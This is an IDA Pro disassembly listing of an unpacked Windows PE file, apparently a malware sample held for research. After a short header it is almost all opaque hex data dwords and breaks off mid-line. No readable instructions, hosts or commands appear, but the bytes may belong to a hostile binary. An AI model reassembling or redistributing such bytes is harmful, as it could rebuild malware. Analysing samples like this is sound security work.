; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 8B7516AAC197333E58505F935A41AB0F ; File Name : u:\work\8b7516aac197333e58505f935a41ab0f_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 3D0000 ; Section 1. (virtual address 00001000) ; Virtual size : 00065E4A ( 417354.) ; Section size in file : 00065E4A ( 417354.) ; Offset to raw data for section: 00001000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute BrattyUS segment para public 'CODE' use32 assume cs:BrattyUS ;org 3D1000h assume es:nothing, ss:nothing, ds:BrattyUS, fs:nothing, gs:nothing dd 8C270A5h, 0FD3482E4h, 78CF2038h, 0DA8258DCh, 48A89503h dd 7D44929Ah, 0B1698C1Eh, 0EF70C772h, 2BEE096Ch, 2C1276E5h dd 17C985B3h, 0E513E5E6h, 0F1394FB0h, 1A6F7CF8h, 2106E7FAh dd 0BFB7921Dh, 0E4CCAA3h, 0DFD6B4D8h, 8161D4h, 8E3E26Fh dd 0BC0ED286h, 0BF7FFC97h, 3B4E3701h, 7A5A872Fh, 490E94A4h dd 3FF56E34h, 514DE53Ah, 5BE2AEF7h, 5A602BABh, 1C03494Dh dd 0CF28E1FDh, 0E7C8CA36h, 3CFC4196h, 7C17ABAEh, 107D217Eh dd 9510BCFFh, 7886AAEEh, 0B5541CB3h, 2F705C14h, 1413DF8Eh dd 7F322E94h, 24DB28FAh, 211BE25Ah, 2C1FFE73h, 0BE0533Bh dd 128D934Fh, 4A4DB358h, 476AF66h, 38B9F8D9h, 5DF74B15h dd 495AB443h, 93441BD2h, 0F1CE493Dh, 0F2D70DD9h, 0D1039715h dd 4B68F31Dh, 0D75D2DBCh, 32261945h, 72B301Eh, 515DF84Dh dd 2F7099F6h, 0F98BB84Fh, 3E701FE1h, 400B563Ah, 0BE6CEE3Bh dd 0AE307F45h, 640DAAA5h, 7B5FF297h, 26D8AD76h, 876A4D36h dd 2AE34130h, 0BCAC7853h, 2A245D77h, 51DC65F9h, 0A9E58997h dd 2C2C8DF9h, 0A8D382B7h, 4688FA40h, 3793CD9Eh, 94D92F4Ah dd 5E6CE1AAh, 3EB03C1h, 8FAE11ABh, 0C57120AAh, 0E77AFB9Ah dd 685BB805h, 0B2892DCCh, 0BD111ED1h, 6B7977FCh, 0E1C0074Eh dd 9DCBD3C5h, 0EE522116h, 0CB4F3931h, 3D49FF88h, 69ECB4EDh dd 0EE1F503Dh, 0C62B7427h, 0B3803857h, 5258FABAh, 0B7D795C5h dd 55FD3B0h, 1B5C41AEh, 0EA32EC60h, 0E8E5A0FBh, 4746D990h dd 8906A36Fh, 0B2C8B3CAh, 0B1B629F4h, 167161C6h, 8291E0C3h dd 0B046B442h, 6EFD05E3h, 7B11E8BDh, 0B1B92047h, 0ED3B1B75h dd 0F805888Ah, 0D782449h, 0A61FFD63h, 91155CBCh, 22408571h dd 0EB4DF0AEh, 9746D7BAh, 60188CB2h, 0FBFAA15h, 14ECA695h dd 0C4317BC0h, 0AEE7E3F5h, 4BFBC235h, 496A0B9Ch, 8E8922C5h dd 947986D9h, 0CDC57717h, 1453117h, 1A4F310Bh, 47FDC623h dd 1086EF6Bh, 0AE8F0899h, 6CF57747h, 8F0FA861h, 0AD0B7341h dd 6D93A464h, 32F042Dh, 0E3D4997Ah, 0AC58DC6Dh, 4D046C17h dd 1F53A58Fh, 8FFA5E0h, 0F21A5969h, 34C8EF55h, 80D85677h dd 8DB1C20Bh, 1B6C3DDEh, 33A78AEh, 0B284B08Ah, 21B203Dh dd 0BD55B625h, 3EF0D7C4h, 0D9C6E48Ch, 299E1690h, 0BA93B891h dd 0AD001394h, 70EF5E4Eh, 8DAD872Ch, 370B3838h, 484DE17h dd 65D41DEBh, 0AD3CD9F4h, 1992D673h, 0FEF8A02h, 0FF6095E0h dd 9DA64ABEh, 0D222917Eh, 0A81E883Bh, 0B5C67AF7h, 0BA5262E9h dd 0BAE1B04Dh, 0C95E72BEh, 57D5456Ah, 0E9A7CC7Bh, 0D38429E5h dd 0F2D4F4AAh, 54BCACEh, 0B2CD20BDh, 615FDCA6h, 0CC3286F4h dd 8BB813C1h, 0F39A8818h, 601DAFB3h, 4F37D03Fh, 0B9434A9Ch dd 0B16565Dh, 9F4A4D79h, 3EBC8BE6h, 816D32C0h, 0F273DA62h dd 0F42D2B13h, 0F4587A06h, 0E18598Ch, 0B5F75F5Eh, 2F4F57BCh dd 7616E4A0h, 6D8B52A2h, 8D3194A2h, 5C51DE19h, 0D2FCB448h dd 22E81FA5h, 0C15B4FB3h, 4A038E63h, 0F1F397C9h, 4ED2B3F3h dd 67DE8F18h, 6F576B46h, 0A224DDFCh, 222EBD3Bh, 0D0513E9Eh dd 6B7CDF73h, 0F36B55A6h, 0C6A2F70Eh, 0A9AFBC6Bh, 0BE77F71Eh dd 0A4CCF7B2h, 8F549DE1h, 6B5A8EF1h, 45E8A2F7h, 0FF241BC2h dd 96A8F357h, 0CCCFBC6h, 276B101Fh, 7FB8DA5Fh, 0B3CCC110h dd 0CAA56506h, 1ACF28D7h, 1E6C2D7Ah, 9C77CE50h, 0A682821Bh dd 0F84AB94Fh, 298C5AF7h, 1A85C87Ah, 0F96AF756h, 1DCE31A7h dd 277B2E15h, 0C09E32C9h, 8BE4B314h, 0DB479261h, 0B78884Ch dd 0BAC83D17h, 83241E5Bh, 0D1204197h, 7853F121h, 86538310h dd 996AC1B2h, 0C99F584Fh, 80D9A5E1h, 0F9BAE181h, 54C8FD4Bh dd 43D4B5F0h, 9A967F00h, 0DDDA834Ah, 34FCB212h, 77E2F10Eh dd 0E9D2C8C9h, 23B9E902h, 9FD1B3A6h, 1C5D702Ah, 5ACD1792h dd 98400545h, 0B581E35Ch, 90A3611Bh, 0A999B708h, 0D3A20020h dd 2A442BBEh, 0E51BC8C2h, 0AF083F3Bh, 69062A40h, 30F65B1Fh dd 2C505Ch, 0C5A64971h, 1ADA3CE7h, 0F977E31Eh, 0C8978C0Eh dd 5CC20CABh, 1E8B60EFh, 0F26C931Eh, 0B3397E08h, 6D020147h dd 0DF21F087h, 1370B61Ah, 0D70EA8D1h, 0BA9DCC06h, 0FA0600Fh dd 0DC50D5A8h, 0B47826Dh, 36588578h, 6B6E7EBFh, 0F76D41Bh dd 99B716AFh, 71812394h, 0DD7D1297h, 0FCD0E7AEh, 0ADD2F001h dd 0C9B66CB8h, 47ECDC85h, 7B4EB85h, 0EA729D85h, 0A92B91D6h dd 818AA4C0h, 5C7C60E6h, 1B728DE0h, 16445BDDh, 9C680E6h dd 594ABB4Dh, 6AFAA92Ah, 0D51B010h, 2EEFFB5Bh, 7965D54Ah dd 5E9C4881h, 10EF43C6h, 94285FF3h, 3F033491h, 584C7458h dd 0DB5E801Eh, 59EB8B69h, 1B01898Ah, 5503DB30h, 8D9C275Dh dd 0F8E5670h, 0FE47400Ah, 3A1ABE79h, 66794CA4h, 0ED1B3431h dd 84A98E54h, 62B72997h, 88C21344h, 440576Bh, 41EA4FE9h dd 687C97B9h, 2DAF5188h, 74DCBD00h, 828D18CDh, 8C1A8755h dd 0A8F80D04h, 8C1082D5h, 0E6BEE5CEh, 1915CEC4h, 46683AF7h dd 747F5E2Bh, 67BBD0F5h, 0DCCC04A9h, 0F70478B6h, 9D6C61B8h dd 90A21611h, 6AF79793h, 0A84C9817h, 1A82953Fh, 6205662Eh dd 0CD4A6264h, 1BA4C9B4h, 0C1AE4BAAh, 729B3CC1h, 20AE6546h dd 0D7EE1680h, 0AAD56AB3h, 0BC9E37EEh, 43D25F2Bh, 76A4C2Bh dd 0B0910DA5h, 132CD152h, 394D7B49h, 0B838018Eh, 18EFE93Ah dd 0B90DC764h, 88BAD2E7h, 0B1D0053Dh, 0ACCFDDA8h, 4C646254h dd 105EEE85h, 0E430E4h, 70A8CF7Fh, 758C64F4h, 7863CC4Ch dd 249D2E25h, 647684CCh, 2CB7B39Dh, 0BCD32A61h, 0F7457115h dd 66B29A94h, 0DA63A55Fh, 525F7651h, 0DA3F03C9h, 0A2289C3Eh dd 81BA5B99h, 7A3674B0h, 0B0A3586Dh, 0D1426523h, 0A077E7BFh dd 0CD0E51C1h, 2E9222F4h, 4DBB67BAh, 0FEA59A75h, 3C63FF1h dd 1EFF040Bh, 644F4062h, 0DAEE416Eh, 79A065h, 7CC648D4h dd 1B516615h, 777B1035h, 696BBE24h, 6C504A92h, 3A5D81F8h dd 31EA3798h, 3C30E389h, 6BEF7A45h, 1176D0F6h, 0B1F8205Ah dd 0DAC8623Dh, 3EA7F290h, 385FF74Bh, 9826C574h, 0C6E3C98Dh dd 0D0135280h, 3BBCE33Bh, 0A5C584C7h, 0BAC09BA7h, 0C601A930h dd 0F3F587F3h, 0FF71D9A1h, 0E9CB2B8Eh, 857B2890h, 9849F743h dd 0FFECB5B6h, 26094367h, 4ABB01D0h, 0CB1BA5F3h, 0B5B6F143h dd 0A3C3376Ch, 5DCA10A5h, 0F9CADBh, 65B8F22Bh, 0CA3E42E0h dd 91F49ABBh, 0CB77072Ah, 0F89E48D8h, 0F1EB2CBAh, 20A707B4h dd 2A7697CDh, 238293D9h, 9C64568h, 0DEF28629h, 0EA091330h dd 7D5FC434h, 87C54581h, 0DE365B28h, 0B23AE53Dh, 0A40B0A47h dd 1DB4A69Eh, 4A1D4625h, 38874F68h, 324AC5Dh, 6E5F29E6h dd 0C18EEEAAh, 0F7903396h, 9D47C18Dh, 0FE185F70h, 6325FE63h dd 0DC53C064h, 609A9757h, 50C84C59h, 38D4C2C9h, 0D2228F1Bh dd 3E4B7210h, 1262FF24h, 0A28C4BC8h, 0D2DCF0BBh, 24D64F09h dd 3FB76C60h, 0A0DB5F47h, 3CFB0E19h, 9E601555h, 2ED707F6h dd 5027093Ah, 1450F468h, 0B876E5A1h, 5CA1F74Fh, 99185A1Bh dd 0C73CE532h, 5C7F5103h, 0CFECF163h, 6E970AEEh, 1AF40C0Bh dd 370C0F38h, 59B70C18h, 922C4E89h, 711948A2h, 9CF4E94Ah dd 0D76466EEh, 0C60271DCh, 0A7E7EC07h, 424E9385h, 41409C67h dd 0A3F8F7F5h, 0E4EA42A3h, 0B6E52A17h, 9F8F7ABBh, 0F46B121Eh dd 0B9578967h, 72ED3CABh, 23F67726h, 0BDBAA465h, 0F75F9BE1h dd 21970BD3h, 4D3D00Eh dd 717DA47Ch, 307592D6h, 8F0B36EEh, 4E84786Fh, 41C39EAAh dd 91A90515h, 1DD1E532h, 91557DBh, 0DBD452F3h, 0B4B1E4CCh dd 7CCE39B8h, 0B17842CCh, 8F0903B8h, 62A5F5E7h, 0C7E22256h dd 59618FCDh, 6706D567h, 0F0BBE4C4h, 0DC1F9DE0h, 0B2339A06h dd 54CCDF6Eh, 21ED1352h, 0CC6F8D8Ah, 41FA815Ch, 9EBB484Fh dd 0DFD06208h, 0F3F8784Ch, 0F4E19888h, 0FE376408h, 8FAA3353h dd 0C66F6B3h, 0A33454C6h, 974D870Fh, 0FE54E6D5h, 0CD60CFCh dd 0F1C4B6FDh, 7552E36Dh, 0EDF5D1FAh, 384EF5CFh, 90FC9C03h dd 284B74D0h, 5993C08Eh, 0DE34564Dh, 1692110Dh, 0CFE0170Bh dd 30976C5Bh, 0BB864681h, 3081E59Ch, 0E9E57BB4h, 0F78F078Fh dd 0C12675E2h, 76255823h, 0EF021C7Fh, 0E9D0EE9Eh, 0A68FCE64h dd 2B3C6E82h, 0D684E173h, 0CD7F96E5h, 5635D776h, 0DF0762CEh dd 182FF043h, 1CA40C4Fh, 4DB9B715h, 89935103h, 0B29830CDh dd 4F73D9F6h, 3F80BCA3h, 306A2E96h, 8A9D9A69h, 0D2989D1Bh dd 364EF9Ch, 686DA527h, 0CF289A47h, 0B30AF72Ch, 6983D833h dd 8D7653D1h, 5A039A84h, 80346C8h, 796697D7h, 3D332885h dd 20A009D4h, 17509B52h, 0ADA0173Eh, 0C7DB3095h, 0EE4A8070h dd 7B186D9Dh, 0E81302B3h, 0DCC8E208h, 482B8529h, 0D9F78E47h dd 0DB9FBFD9h, 19C57146h, 7011D080h, 4305A98Dh, 657335EDh dd 0DEA0F917h, 0D4DA1013h, 1A869E6Dh, 194C0E5Fh, 0F832D162h dd 0B8D1463Eh, 3715DEF0h, 0CF81206h, 33FC783Dh, 0F5E352C8h dd 0EBBE5557h, 0C067D8CFh, 5F4D1E26h, 575B892Eh, 501A99ACh dd 133A28A2h, 0ABC8CA5h, 0BEC828AAh, 0D0E5EC75h, 527CB0FAh dd 34FFF0EEh, 7FA75E3Dh, 3E66ADD6h, 0AA3210D0h, 217A09CCh dd 9698AFA6h, 0E817461h, 0C5809586h, 564633B0h, 1FE3554Fh dd 0B509C363h, 1CB6B97Ch, 0FCF07BEEh, 984C1C23h, 0B84C08B7h dd 9A8E7870h, 4C2B50D6h, 0BF91A82Bh, 842E342Eh, 0E6480569h dd 0F42FDD5h, 6E7DB80Ah, 84FAD397h, 199FFD12h, 0DA39740Dh dd 92CFFE0h, 4C940D64h, 17930789h, 4851AB4Ah, 1F9F7D15h dd 0AA5D7A7Fh, 0A614E2C2h, 0F34E6B4Fh, 2A88C7F4h, 0E2A1D021h dd 10AAD269h, 106A4DF5h, 0E1846821h, 7888BD11h, 39DA02B2h dd 0FA9F98B4h, 0BC5A0F75h, 87B0C36Eh, 4357628Eh, 0B61A0791h dd 0A1B84405h, 6750555Bh, 63EE1FFBh, 48AE069Fh, 51CD9CE0h dd 0B3792300h, 0A5DE4EF8h, 0CB2752D6h, 0F5F35C50h, 0DAC7BB9Dh dd 3854CA81h, 0E40A6FBFh, 5454F8DCh, 0EB2F5326h, 0C9B934B4h dd 7E1A36EAh, 31F4AE21h, 0E1A97D75h, 9F494F12h, 14DED820h dd 0C790B965h, 0CFF0B9ACh, 0FA377FE8h, 698EA978h, 0A4AC7266h dd 925E6722h, 0B6255F46h, 9367F203h, 1B9C2A2Dh, 0EDB3AE53h dd 0A816D761h, 0B187CCFDh, 48839010h, 7065925Ah, 6A573390h dd 3CCDAC55h, 443DD7D8h, 6B59A667h, 363EB1CCh, 0B9C51812h dd 3BEF0D98h, 0FF7539Bh, 7D5E52E8h, 0E1FE8CD8h, 0C337E1C5h dd 88C807B1h, 83104E01h, 701672A8h, 5F54D293h, 5238DD5Dh dd 18C3633h, 0BFA2D6BFh, 131F6DCEh, 8147985Dh, 697FCAF9h dd 88B004EFh, 2A7382F3h, 0D4DD1CFFh, 1090FE60h, 0EC265E20h dd 84168C5Eh, 0D6D3FC23h, 6E91CD79h, 2890E1AFh, 0AADADDCDh dd 59810DA0h, 4EC58604h, 0CEDAF812h, 61FF0E05h, 714CFA9Bh dd 656280FEh, 91058948h, 20ADB9ADh, 2379222Ch, 278F4812h dd 71A29CDBh, 0DFFC7C1Bh, 75C2018Fh, 0C1919F10h, 0AA773114h dd 9AA2A091h, 3946F14Ah, 43C2B482h, 535DB646h, 9064E336h dd 855340DAh, 0D3578A68h, 50DDCD6Dh, 0EC898240h, 480ACC73h dd 0CF9378E3h, 0DCB6D2E9h, 1DBA691Ch, 0C9BD9707h, 2101CDD3h dd 0E55AEA27h, 0DFD776EEh, 0E3895668h, 45EA086h, 9B3AFA4Eh dd 28E4B9E1h, 89DE99CFh, 1C8B2ECCh, 81A0B000h, 0E873180Fh dd 9DBA2B73h, 508F3CEEh, 0FDAC448Bh, 7ABA7BF1h, 0DC8E18E9h dd 86F43B2Ah, 12250DF5h, 0C4CFCCC8h, 0C3AC7F29h, 571FDCC6h dd 8CF58955h, 81449F3Fh, 102B33FDh, 25CD89F8h, 0BBDD1EB2h dd 35ADA5CAh, 0DE70659Ah, 936EE36Dh, 9FD95479h, 8F6EBDD0h dd 92B29A8Dh, 0E09E311Ch, 0ED09A9EFh, 21959AF7h, 8E4A54Bh dd 3656E973h, 0ED16921Ch, 653D3223h, 0C45B5A8Dh, 7037C555h dd 0AAD70E19h, 0C1421FD3h, 0A6B27261h, 3520F79Dh, 0F688E90Ah dd 0E4970D8Ch, 8E7C1668h, 807DB13Eh, 1BF38A9Fh, 0D1DA4F30h dd 0A7D8E3FCh, 2BCE92B3h, 0C39994C8h, 0CCC2CB2Ah, 0C557E027h dd 29CBF807h, 892E50F9h, 0FE4C1764h, 6D9A6E8h, 99303011h dd 926C21B1h, 19B22D0Ch, 827F6FC4h, 6B4C3BFDh, 0BB8E90B0h dd 5468A7FEh, 0F929D26Dh, 0FB0A222Fh, 0BE78EF55h, 0EF1D87C9h dd 0E1BB5CE9h, 0EA73BF05h, 51BF252Bh, 6B1F552Ch, 25E3A226h dd 7EC49F04h, 5B083931h, 261A2833h, 0AF28A4DDh, 0C62FC98Ch dd 0FA0F1502h, 9D7B7BA3h, 1B89EDCAh, 6DD6A5EEh, 9A705E67h dd 2757856Dh, 685B9D0Fh, 0E153083Fh, 1E126086h, 0F5411A22h dd 99E172B3h, 6C8136ACh, 787BF243h, 8CA1E2EFh, 0A1EBFA05h dd 0D2BF886Ah, 0EBCB7D3Ch, 0B183D5D0h, 8246F8A8h, 0E74A376Fh dd 0F7B25012h, 50AE8814h, 0E4DDA4F1h, 18BC26AFh, 0D2FACEFFh dd 0D7392C83h, 916F687Fh, 0FA544DFDh, 54EE666Dh, 42BC12F5h dd 0B733B8EAh, 628F723Fh, 2BA4FB9Dh, 0C8E720B9h, 0DB9D58F1h dd 0AD293248h, 886C4C4Dh, 0BC734D69h, 69AFD1FCh, 9675EE2h dd 0B4C369C4h, 0C0B697EEh, 4AF5E615h, 70D1F753h, 0C199880Dh dd 0B2165BF0h, 0EF02ACE5h, 6809777Eh, 0FBDF1E21h, 0EB9F4EFCh dd 0C677741Fh, 0EE40470Dh, 9BBD733Ch, 0B5397611h, 103389A9h dd 1D4B52F3h, 0CAB52275h, 8F8E6137h, 4755B22Ch, 0BE2AC45Bh dd 8E6222A0h, 0FF345B7Eh, 0CB9CA9D1h, 0CD89EC15h, 4C5683C9h dd 0E7CB8AE5h, 34063C99h, 0F7C7A630h, 4600AFD0h, 47317596h dd 0A7ED2242h, 57BBFB47h, 0CBB9B8B3h, 0FBF99DD1h, 565A98D7h dd 0F419A864h, 808192EEh, 8704A8E0h, 3C6774AFh, 0E5600A04h dd 0DE748517h, 0C89AB8F5h, 0C4390FFAh, 0BD853106h, 0FF8A75BAh dd 0BC4D9FFCh, 0D621E356h, 0E87BD01h, 8C8CB501h, 51E9DC24h dd 78105EAFh, 9C8338DBh, 56FA2C27h, 863E0C01h, 4A335837h dd 9E305814h, 7B618540h, 0F440DD7h, 4E09C2FDh, 0B724CB43h dd 0C08791BFh, 0CA7847FAh, 0C1571D52h, 951FE9ADh, 30C3E69Dh dd 46A44546h, 4B24B9BFh, 0B8D4D647h, 1FBDFBE7h, 0AA2053D5h dd 0C8C63634h, 6E11C621h, 0CB01F092h, 0F9258153h, 1C6B6D2h dd 11D167E2h, 208861FAh, 72524641h, 88D75C3Fh, 0E664EC90h dd 956EDF66h, 47D46C97h, 0D4B82FE4h, 0B4CFCCFBh, 4AC25Fh dd 32DA7532h, 0A01095A0h, 0A5A9083Bh, 6D684957h, 0DEE69777h dd 0C999AB1Fh, 15148C6h, 73302E97h, 0F4F28B49h, 22921C3Bh dd 0B5DAAF8Dh, 535BE6A9h, 8ECA1D72h, 7BE91789h, 182D59Ah dd 6861398Dh, 46B0BCEDh, 447A1CB3h, 0AEFBF8AAh, 0A3C87682h dd 0DE87A18h, 22BDCB01h, 7CD0A0C0h, 0AC99D9E4h, 66FDAFB2h dd 305F3062h, 7EA19344h, 3A55EC90h, 37DA6C84h, 61A346DCh dd 0F1B71823h, 91440F82h, 0BA684D86h, 2DDFD016h, 28DDE056h dd 4125C4E4h, 6214B846h, 89B652AAh, 218DAAE0h, 0CE0C6639h dd 5DD89E0Eh, 2BADA676h, 0CCE7AF26h, 937AFDB6h, 8D36590Ch dd 0A399CDC0h, 0F376F2EEh, 803BD939h, 93169018h, 62B1903Ah dd 279E91ADh, 0F3261CAFh dd 580171FBh, 1366F48Eh, 0B70D66C2h, 828413B4h, 4E1B5321h dd 0CC63351Bh, 0BA7DEA9Fh, 0CDBF543h, 0FDBD00F2h, 6BB2863Fh dd 90B6DE90h, 0D17AAE88h, 471F5CECh, 6F4F0EDh, 0B81806C0h dd 1402DC49h, 3E7CDFE0h, 0F7F288D0h, 9B433617h, 3707ED6Eh dd 0AA5E078Dh, 55563AB8h, 2B1CA376h, 0B2F122AFh, 33E6DC39h dd 0CC7CFF98h, 4467A49h, 0CA211079h, 0C95C3EECh, 5D80B4C1h dd 0BB6CF44Dh, 2A1CDBA5h, 9248BA31h, 0CE4CF341h, 0AFB48392h dd 4A5EC1A6h, 8539630Dh, 0D7300DB7h, 433D8A29h, 9EF86CA1h dd 47490FD3h, 81AC9AB3h, 191523B1h, 747D5A74h, 1CAD4FF8h dd 5C166D5Ch, 73214F38h, 3FAE5F06h, 734A2B6Ah, 588665Ah dd 89924067h, 711C20FCh, 0FB4E6CCFh, 7424D179h, 0A611B374h dd 39467839h, 323B281Eh, 0A62A5BEEh, 22F0A553h, 45E1A64Bh dd 0FEF6D70Eh, 0E408E5BCh, 0BFDBC06Fh, 2D6DD127h, 0AABC34AFh dd 65BB45F8h, 59FAF51Ch, 28527284h, 1D15AA07h, 5EC28FE8h dd 0BB589EB4h, 5A19A692h, 2BE92654h, 7E707549h, 3FBD0A2Dh dd 0A6125C36h, 6B209EEAh, 90CF56FAh, 0D0449788h, 369B98E3h dd 2DD24D0Ch, 0ECA3A22Bh, 1F39E2D4h, 1C9B96E7h, 16AB2A64h dd 9971579Ch, 1F500CBh, 6943BA3Eh, 20983A4Bh, 1C4C3604h dd 4B011075h, 96A32355h, 8CFD6C71h, 8ED7105Dh, 0EC9540CDh dd 0C63659A3h, 5970ADBh, 0A77E0AF2h, 1B99E64Dh, 0C6F6D678h dd 2D20A817h, 0ECBEAF4Ch, 7D4EF993h, 1FF71666h, 0EB8332DAh dd 249BB75Ch, 0E8DDCD14h, 34B991C0h, 471F9DCEh, 28AFCC7Eh dd 7EB3E87Ch, 2FDC5501h, 0B64634FAh, 1C794290h, 0CA959C82h dd 0B87D9F51h, 2E4CFA09h, 0CA5A8D8h, 3A20343Bh, 120D7DAAh dd 796D69EBh, 16694BD0h, 0DA529888h, 0E1F31822h, 0B297AE5Ch dd 0FD57AFD3h, 0A33E3D81h, 1C4D5010h, 97073FDAh, 9F3A9095h dd 78664264h, 763006F2h, 46616BD5h, 61BF3D34h, 0F6F4E0BFh dd 9CDB2AB2h, 0A029BFD5h, 1A8482A8h, 7DAAF62Eh, 84C4E042h dd 2461B23Ch, 9887CE86h, 95E7F32Bh, 82F518BDh, 3D09A9BFh dd 0B8ED6D22h, 6A610CD0h, 2CFEBBEDh, 281033BAh, 0D456DE1h dd 8268A2D7h, 6FF282FFh, 76DBFEC4h, 2B156AE7h, 0FA8C939h dd 0F5D9C7AEh, 0C70E24EEh, 7BE3FD23h, 0EB3D0213h, 7FEAB1CBh dd 3DAFD4ACh, 17E3C21Dh, 84B8D694h, 0BDEC09D0h, 0A9F10682h dd 320F2AE2h, 0DCDE9DA4h, 0A224614Eh, 7A770579h, 0BC37C274h dd 0DB1F7DF7h, 4CB47583h, 0E8FF93F5h, 3EE5D45Bh, 0E421957Eh dd 0F1390020h, 638C865Eh, 30FCFBF3h, 0F34648F5h, 911C578Fh dd 2CC97CF2h, 182BFEC5h, 9319DE9h, 9F501E13h, 0DB9BDD40h dd 0E38EF823h, 0BFFB3972h, 2CD45342h, 8B29CBD9h, 0AF503C51h dd 31C78C74h, 2D19A54Fh, 5C5AAA8h, 48C684E4h, 68F6B98Dh dd 32BF3FF7h, 1B59528Ch, 0CB2D0F1Ah, 9F6C7740h, 0B76FB996h dd 75129FE6h, 9E3B49B6h, 83FD4D87h, 79AD3F19h, 1408BB9Ch dd 12A08079h, 885F789Fh, 0ACCE21CAh, 0D059A9EEh, 137F48D1h dd 488CA8E1h, 2E96B6D7h, 6B817DB5h, 0C1E6A868h, 0AF850C4Bh dd 0E5551EFFh, 9CB1FBD2h, 214A1384h, 6DBD09BCh, 0DD70353Bh dd 0D01AFF76h, 234B56CEh, 814AAF1Ch, 0C6EE281Dh, 216C2A72h dd 44E9AD34h, 74661177h, 0CEDD6042h, 3893C767h, 0CB972206h dd 9C631861h, 2CAFDECh, 0CA9F3BAFh, 0F9C4C527h, 0E532C5D2h dd 69FBD0C7h, 424DA503h, 42C563F8h, 145BF8DCh, 54B2EE1Eh dd 0BD93FC56h, 41655B4h, 912E94CFh, 85AD067Ch, 2A0E78E8h dd 9CAD324Bh, 0DA333AD8h, 3DF7B15Ch, 0DC8115Fh, 8B8A00E4h dd 2163BB7Ch, 97277621h, 0C6227993h, 3A166445h, 263DB0h dd 0A4508032h, 5589536Ch, 37C5A263h, 0C8A7B3E5h, 0C59A1521h dd 3119DFBBh, 0CAF9AC7Bh, 0A2085D75h, 8247BC44h, 92319CE5h dd 4CE387E8h, 0F2E69193h, 25DED9C4h, 0DD52D8A4h, 0C2FEC563h dd 0D8BCC28Bh, 12147087h, 0C4511C08h, 0DC054CE1h, 4D13F619h dd 6FF31DE9h, 8270EFFAh, 0EFE17492h, 0DBB0C2Dh, 0D59451C7h dd 0F61ED9D1h, 33C1CD29h, 8410AD03h, 1585BD4Eh, 83B9FBDDh dd 0AE1118B1h, 0AE3244E7h, 872F5E89h, 2AD942F5h, 0CD4034F2h dd 0E1750609h, 0A257F16Ch, 610523DAh, 0EC417230h, 7CC871B5h dd 988FC095h, 7D8AB282h, 0B5552066h, 46889299h, 0A48DD43Dh dd 27C495FEh, 8B5D62A6h, 0D79C4BDFh, 0C0055BCFh, 9B2CC78h dd 829B294Ah, 9F9977D2h, 579EB26Bh, 6A0B5894h, 0A0054FEFh dd 47862340h, 525ED5FCh, 4D5CA620h, 0C6B2ED0Dh, 2E95352Eh dd 8EAF8954h, 7075C96h, 7E7C7D2Dh, 11076DEFh, 0D720916Fh dd 0F4F0ABF0h, 0D4179C5Eh, 0DF4D7296h, 9AB99C81h, 1B986484h dd 0D0159B0Fh, 9243B50Ah, 0D49E1CA5h, 288D134Bh, 0DB9959F4h dd 0CDC40773h, 0D71BEFD8h, 90FC5E5Fh, 6F5077D1h, 51C4ECDCh dd 92F15F53h, 77CB5369h, 6D3583B3h, 0A0CD9BD4h, 0E1876C83h dd 0DC2A88CFh, 0BAD80277h, 0D8FE9AEBh, 37250766h, 0DFFB5FA2h dd 0FB4BDEF3h, 734572C1h, 0F6B3235Eh, 6BE37C2Eh, 0ABC360D9h dd 603BA065h, 195BCF1Ah, 0DCD54D81h, 0C45AF987h, 7BA3C790h dd 54D9AB24h, 93CC9DFEh, 73C4CE9h, 7A83CB3Eh, 95D166E9h dd 0ECC73B5Eh, 7D8F5C54h, 0AE4FC309h, 0C5836443h, 0A54941B1h dd 37394A6Fh, 0FB82BA0Bh, 0C08E556Bh, 0D941A297h, 0BAAA75Fh dd 0CF0E9CEDh, 0C8AB344Ah, 83B7B45Fh, 33A8F5Bh, 0BA85EA27h dd 48412F2Ah, 12359B88h, 0A5A31CB1h, 0CC0F36E0h, 67138210h dd 0B43E182h, 1C203F4Ch, 653DA29Eh, 0F8FE2BFAh, 0C2F78018h dd 32A3373Ch, 4D34949Ch, 9702FE67h, 3D03CD82h, 2E5CE79Fh dd 9DE627B0h, 0F3B91C56h, 4C34C743h, 0E950924Ch, 75878D7Ah dd 9FDE8744h, 0DABEB975h, 8D5C5F1Eh, 54BAEC79h, 0F117A078h dd 6181EC00h, 5E5D155Bh, 81A847E3h, 3FA864B5h, 72CA77EEh dd 1FF3BAE2h, 8FDAA042h, 40D8693Eh, 0FE45B372h, 0B1D3CE2h dd 0A925267Eh, 0C535FC6Ch, 462B30A0h, 0EB09A429h, 91D5DE5Ch dd 0B945110Fh, 0A82F5C08h, 46D3132h, 510850C7h, 9D0A1942h dd 0B53841E8h, 96939D17h, 7A4C0F6Bh, 5463873Dh, 0DC2FC02Dh dd 0DC85516Ah, 0AA2934A9h, 5A50D231h, 0C23F483h, 8E02C380h dd 0AE10E9F5h, 9BDC5BA1h, 0E0DB889h, 90CE3F25h, 39EBDB98h dd 87B9C9E5h, 199C3660h, 7131BBFAh, 0CC09F0C3h, 214765EEh dd 9B9BDB50h, 4F8F0E7h, 1D0AF034h, 32744FD8h, 0DF17DA6Dh dd 54302FBh, 5F6837C2h, 620AAA66h, 8947E147h, 0BAABC9FBh dd 1E1FC0C7h, 0B681D9A0h, 3C883245h, 583ED51Ch, 2479203Fh dd 1D1C1ACFh, 0C31B15EAh, 4C726399h, 0F27B6F99h, 98CF1EBCh dd 0F8C6F4DFh, 39A06213h, 2C2A73A2h, 9A9090F3h, 17F33FB3h dd 73275C72h, 819F67EEh, 9ECE1E12h, 50B08294h, 605A8E3Eh dd 2FCF2B94h, 76128F8Fh, 1CF3DBA1h, 13880D5Fh, 0C8D76967h dd 83F65512h, 0D2B80F11h, 33D34E71h, 0AF1BB3D6h, 0CAC3B203h dd 475FF1B2h, 0DCE3B4FAh, 5A4F9707h, 27573E2h, 